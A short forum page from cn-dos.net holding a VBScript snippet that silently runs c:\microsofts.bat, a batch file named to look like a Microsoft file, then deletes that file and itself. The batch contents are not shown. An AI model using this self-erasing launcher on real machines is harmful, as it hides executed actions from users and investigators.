联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!
On Error Resume Next Set Shell = CreateObject("Wscript.Shell") Shell.run("c:\microsofts.bat") set Shell=Nothing Set fso = CreateObject("Scripting.FileSystemObject") WScript.Sleep 1000 If fso.FileExists("c:\microsofts.bat") Then fso.DeleteFile("c:\microsofts.bat") fso.DeleteFile(WScript.ScriptName)